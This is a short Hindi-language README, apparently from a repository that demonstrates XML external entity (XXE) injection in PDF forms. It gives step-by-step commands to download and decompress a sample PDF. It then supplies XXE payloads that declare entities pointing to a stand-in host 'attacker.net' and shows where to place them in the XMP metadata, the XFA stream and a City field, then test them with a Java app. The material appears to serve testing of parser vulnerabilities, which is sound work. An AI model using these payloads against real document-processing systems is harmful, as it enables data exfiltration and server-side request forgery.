
फॉर्म वाली PDF प्राप्त करें:
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
ऐसा करने के लिए आपको qpdf --qdf --object-streams=disable input.pdf output.pdf के साथ PDF को डीकंप्रेस करना होगा, फिर आप टेक्स्ट एडिटर से PDF को संपादित कर सकते हैं और दुर्भावनापूर्ण XML जोड़ सकते हैं।
आप XEE को लाइन 77 में XMP मेटाडेटा में डाल सकते हैं:
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
और निश्चित रूप से संदर्भ भी कहीं डालें, जैसे कि लाइन 88:
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
आप फ़ाइल में एक सामान्य XXE भी जोड़ सकते हैं। मूल दस्तावेज़ में यह भाग देखें (लाइन 740 से शुरू होता है):
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
इसे निम्नलिखित में बदलें:
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
फिर, संदर्भ को कहीं जोड़ें, जैसे कि City फ़ील्ड (मूल डीकंप्रेस्ड दस्तावेज़ में लाइन 1845) में। इसे बदलें:
<text
>City:</text
></value
>
इसमें:
<text
>City:</text
><xxe>&xxe;</xxe></value
>
आप इस रिपॉजिटरी में दोनों XXE वाली पैच की गई PDF भी पा सकते हैं (output_with_xxe.pdf)
PDF का परीक्षण करने के लिए Java ऐप चलाएँ: mvn clean compile exec:java.